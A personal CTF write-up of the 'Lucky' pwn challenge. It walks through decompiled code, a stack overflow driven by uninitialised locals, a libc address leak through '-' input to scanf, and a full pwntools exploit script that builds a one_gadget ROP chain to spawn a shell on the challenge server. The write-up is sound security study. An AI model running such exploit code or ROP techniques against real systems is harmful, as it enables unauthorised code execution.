- Published on
Lucky
- Authors
- Name
- kerszi
The Lucky challenge is classified as easy, but I haven't done anything this tricky and challenging for me in ages. I kept coming back to it and couldn't make progress. When I finally managed to achieve something, it turned out to be only halfway there... or even less. Of course, there's no solution available - it might even be the first one? I asked others for hints about this challenge because many people completed it, but they didn't know how - they just had the flag. And what good is the flag if I don't know how to solve it?
The challenge is full of traps and rabbit holes. And it's just a PWN easy! What do we get at the start? A packed lucky file and the libc-2.31.so library. This suggests that there might be a return-to-libc scenario.
The task, in general, involves entering a name, dates, and generating numbers. Based on these inputs, you get an identifier that depends on the data you provided. After launching the program, you can generate numbers, modify them, etc. Below, you'll find examples of the program's behavior, but before we proceed further, we need to "link" glibc with the binary. The fastest way to do this is by using the pwninit tool.
./lucky_patched
Welcome to the 100 percent accurate lucky number generator. You will definitely win the lottery with this number generator.
1. Enter your name and birthday
2. Generate numbers
> 1
Enter your name: imie
Enter your birth year: 1
Enter your birth month: 2
Enter your birth day: 3
Hello imie
, your ID is 44651081065
Welcome to the 100 percent accurate lucky number generator. You will definitely win the lottery with this number generator.
1. Enter your name and birthday
2. Generate numbers
> 2
Oh it's your first time here? I'll give you more lucky numbers than usual!
NUM 8
Your lucky numbers are:
73
4
2
3
90
18
83
58
How many numbers do you want to change?
2
Enter new number: 1
Enter new number: 1
>
Technical Description
After running the checksec command, we find that the binary is equipped with almost the full suite of security mechanisms, except for the canary.
Checksec Results
checksec --file=./lucky_patched
[*] './lucky_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Decompilation
The source code is decompiled using Ghidra. This allows us to inspect how the functions generally operate, though the exact addresses are unknown since the symbols have been stripped. Based on their behavior, I named one function generate_number and another enter_name. However, it's worth noting that it's not just a name that's being entered...
void generate_number(void)
{
int iVar1;
uint local_38 [12];
if (numerki2_init0 != 0) {
local_38[2] = 4;
}
if (numerki1_init1 != 0) {
puts("Oh it\'s your first time here? I\'ll give you more lucky numbers than usual!");
local_38[2] = 8;
numerki1_init1 = 0;
}
printf("NUM %d\n",(ulong)local_38[2]);
puts("Your lucky numbers are:");
srand((uint)numerki2_init0);
for (local_38[0] = 0; (int)local_38[0] < (int)local_38[2]; local_38[0] = local_38[0] + 1) {
iVar1 = rand();
local_38[(long)(int)local_38[0] + 4] = iVar1 % 100;
printf("%d\n",(ulong)local_38[(long)(int)local_38[0] + 4]);
}
puts("How many numbers do you want to change?");
__isoc99_scanf(&DAT_555555556118,local_38 + 3);
if ((int)local_38[3] <= (int)local_38[2]) {
for (local_38[1] = 0; (int)local_38[1] < (int)local_38[3]; local_38[1] = local_38[1] + 1) {
printf("Enter new number: ");
__isoc99_scanf(&DAT_555555556118,local_38 + (long)(int)local_38[1] + 4);
}
}
return;
}
void enter_name(void)
{
int iVar1;
ssize_t sVar2;
ulong local_70;
ulong local_68;
ulong local_60;
ulong local_58 [9];
int local_c;
local_c = 0;
printf("Enter your name: ");
memset(local_58,0,0x40);
sVar2 = read(0,local_58,0x3f);
*(undefined *)((long)local_58 + sVar2) = 0;
printf("Enter your birth year: ");
__isoc99_scanf(&podaj1,&local_60);
printf("Enter your birth month: ");
__isoc99_scanf(&podaj1,&local_68);
printf("Enter your birth day: ");
__isoc99_scanf(&podaj1,&local_70);
while (iVar1 = local_c, local_c < 8) {
local_c = local_c + 1;
numerki2_init0 = numerki2_init0 ^ local_58[iVar1];
}
numerki2_init0 = local_60 ^ local_68 ^ local_70 ^ numerki2_init0;
printf("Hello %s, your ID is %ld\n",local_58,numerki2_init0);
return;
}
Analysis
After spending quite some time searching, I couldn't find anything obvious. There was neither a classic buffer overflow nor a printf vulnerability. I also considered using srand numbers, but that didn't lead anywhere either. I spent some time experimenting and searching for a solution, but came up empty-handed.
Eventually, I asked "Poni" if he could take a look. He happened to have a session at the time, so he couldn't dive into it in detail, but what he told me was enough to get started - identifying the possibility of a buffer overflow. The idea was to make sure that in the generate_number function, neither of the conditions were met. This left garbage values (random data) in the local variables, allowing us to execute a longer loop.
condition 1
if (numerki2_init0 != 0) {
local_38[2] = 4;
}
condition 2
if (numerki1_init1 != 0) {
puts("Oh it\'s your first time here? I\'ll give you more lucky numbers than usual!");
local_38[2] = 8;
numerki1_init1 = 0;
}
The second condition is simple - you just need to enter it once. The first one is a bit trickier, so we need to go back to the enter_name function. There, XOR operations are performed. If you enter the same data twice, the ID will be 0. Great, but why doesn't it output more digits than expected? Unfortunately, the local variables are set to zero, so they need a bit of "help"...
1. Enter your name and birthday
2. Generate numbers
> 2
NUM 0
Your lucky numbers are:
How many numbers do you want to change?
Buffer Overflow
I spent some time working on this, and it turned out that to put "garbage" into the local memory instead of zeros, all you need is to input a longer name in the enter_name function. This way, you can control how many generated numbers will be printed. Fortunately, we can generate quite a lot of them. After that, the numbers can be edited and overwritten with addresses, but what's the point if we don't have any leaked addresses? Using the function enter_name(b"\xd3"x 41), we can generate as many digits as we want - in this example, 211.
printf
This leaked address must be somewhere in the enter_name function, but it couldn't be extracted using standard methods like %1$p, %lx, etc. I tried XOR operations, longer strings - nothing worked. Then, purely by accident, when I entered just a minus sign for the digits (you can also use just a plus), I noticed an interesting address: 139790197586304, or 0x7f237111f980. It turned out to be the address of some leaked function from the glibc library. Are we there yet? Of course, where I used 1, you should actually input \x00, but this is just an example.
1. Enter your name and birthday
2. Generate numbers
> 1
Enter your name: 1
Enter your birth year: -
Enter your birth month: -
Enter your birth day: -
Hello 1
, your ID is 139790197586304
Welcome to the 100 percent accurate lucky number generator. You will definitely win the lottery with this number generator.
1. Enter your name and birthday
2. Generate numbers
>
ROP
Alright, we have a leaked function, so we can easily build ROP chains. Sounds simple... but more on that later.
ID=enter_name(b'\x00')
libc_leak=int(ID)-0x1eb980 #leak
libc.address=libc_leak
system=libc.address+0x55410
puts = libc.sym['puts']
...
Number Conversion
The idea is that we already know the addresses, but we need to push them onto the stack by providing numbers. Fortunately, the conversion was (quickly?) calculated by Chat GPT.
payload=[ret,pop_r12,0,one_gadget]
for rop in payload:
liczba=rop
# Rozbicie liczby na dolne i górne 32 bity:
low = liczba & 0xffffffff
high = (liczba >> 32) & 0xffffffff
# Konwersja na łańcuchy znaków zakodowane jako bajty:
low_bytes = str(low).encode()
high_bytes = str(high).encode()
# Wysyłanie wartości - przykładowo najpierw low, potem high:
p.sendlineafter(b'Enter new number:', low_bytes)
p.sendlineafter(b'Enter new number:', high_bytes)
Payload with system (libc)
Alright, we load the payload, but something isn't working. Why? We're inserting pop rdi and setting /bin/sh in rdi. The next ROP is a call to system. So why isn't it working??? I have no idea.
0:0000│ rsp 0x7ffe808271c8 —▸ 0x7f9c6b9d5679 ◂— ret
01:0008│ 0x7ffe808271d0 —▸ 0x7f9c6b9d6b72 ◂— pop rdi
02:0010│ 0x7ffe808271d8 —▸ 0x7f9c6bb675aa ◂— 0x68732f6e69622f /* '/bin/sh' */
03:0018│ 0x7ffe808271e0 —▸ 0x7f9c6ba05410 (system) ◂— endbr64
04:0020│ 0x7ffe808271e8 ◂— 0x2400000048 /* 'H' */
pwndbg> c
Continuing.
[Attaching after process 66286 vfork to child process 66366]
[New inferior 2 (process 66366)]
[Detaching vfork parent process 66286 after child exit]
[Inferior 1 (process 66286) detached]
[Inferior 2 (process 66366) exited with code 0177]
Payload with one_gadget
Let's try using one_gadget. Success! We just need to zero out R12, but there's a suitable ROP for that.
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
Solution
from pwn import *
#context.log_level='debug'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="34.252.33.37:31128"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./lucky_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc = ELF('./libc-2.31.so', checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
def enter_name (name):
p.sendlineafter(b">",b'1')
p.sendafter(b"name",name) #\xd3 #tyle ma wyswietlic
p.sendlineafter(b"year",b'+')
p.sendlineafter(b"month",b'-')
p.sendlineafter(b"day",b'+')
p.recvuntil(b'your ID is')
ID=p.recvline().strip()
return ID
def generate_numbers_0 ():
p.sendlineafter(b">",b'2')
p.sendlineafter(b"to change?", b'0')
def set_libc_adresses (libc):
ID=enter_name(b'\x00')
libc_leak=int(ID)-0x1eb980 #leak
libc.address=libc_leak
system=libc.address+0x55410
puts = libc.sym['puts']
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
one_gadget=libc.address+0xe6c7e
log.info(f"pop rdi gadget: {hex(one_gadget)}")
info (f"libc: {int(libc_leak):#x}")
return ret,one_gadget,pop_r12
def set_payload ():
ile_sprawdzic_1=b'18' #ret,one_gadget,pop_r12,0
p.sendlineafter(b">", b'2')
p.sendlineafter(b"How many numbers do you want to change?", ile_sprawdzic_1)
for i in range (int(ile_sprawdzic_1.decode())-8): #4 payloads*2
liczba = 0
p.sendlineafter(b'Enter new number:', bytes(str(liczba), 'utf-8'))
payload=[ret,pop_r12,0,one_gadget]
for rop in payload:
liczba=rop
# Rozbicie liczby na dolne i górne 32 bity:
low = liczba & 0xffffffff
high = (liczba >> 32) & 0xffffffff
# Konwersja na łańcuchy znaków zakodowane jako bajty:
low_bytes = str(low).encode()
high_bytes = str(high).encode()
# Wysyłanie wartości - przykładowo najpierw low, potem high:
p.sendlineafter(b'Enter new number:', low_bytes)
p.sendlineafter(b'Enter new number:', high_bytes)
ret,one_gadget,pop_r12=set_libc_adresses(libc)
#ret,pop_rdi,system,binsh = set_libc_adresses (libc) #doesn't work!!!
#pop_rax,pop_rdi,pop_rsi,syscall,binsh=set_libc_adresses (libc) #doesn't work!!!
ID=enter_name(b'\x00') #to ID=zero
info (f"ID: {ID}")
generate_numbers_0 () #set first conditional to zero
ID=enter_name(b"\xd3"*41) #to BO generate_numbers
info (f"ID: {ID}")
ID=enter_name(b"\xd3"*41) #to 0
info (f"ID: {ID}")
#brva 0x1407 #troche
# gdb.attach(p, '''
# brva 0x151c
# ''')
# pause (3)
set_payload ()
p.interactive()
Summary
I won't share the flag here, as you can recreate it yourselves. As for the challenge - it was both exhausting, frustrating, and... enjoyable. It definitely wasn't easy. Once I finally got the flag, I started to like the task. Before that, I hated it. That wasn't lucky challenge :)